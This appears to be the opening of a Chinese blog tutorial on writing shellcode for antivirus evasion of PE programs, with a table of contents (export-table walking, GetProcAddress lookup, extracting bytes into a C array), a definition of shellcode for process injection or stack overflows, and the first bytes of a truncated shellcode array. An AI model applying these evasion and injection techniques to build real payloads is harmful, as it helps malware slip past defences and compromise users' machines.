PE应用免杀 之 shellcode 编写

发布时间:2026/7/16 10:04:24
PE应用免杀 之 shellcode 编写 目录SHELLCODE编写基础知识点什么是shellcode搞渗透的shellcodeshellcode注意点SHELLCODE编写过程Hash对比源码过程设置为启动项目循环导出表获取getProcessAddress函数原型处理数组字符串处理生成shellcode处理查看区段找到shellcode-赋值C语言代码SHELLCODE编写基础知识点什么是shellcode在任何地方直接运行不依赖于环境但是可以运行。比如说我写完代码之后我给注入到某一个进程当中或者说利用栈溢出来进行执行不能依赖于任何东西这就是shellcode。本质上长得像一个硬编码一堆16进制这样的东西。unsigned char data[372] = { 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x54, 0x64, 0xA1, 0x18, 0x00, 0x00, 0x00, 0x53, 0x56, 0x57, 0x8B,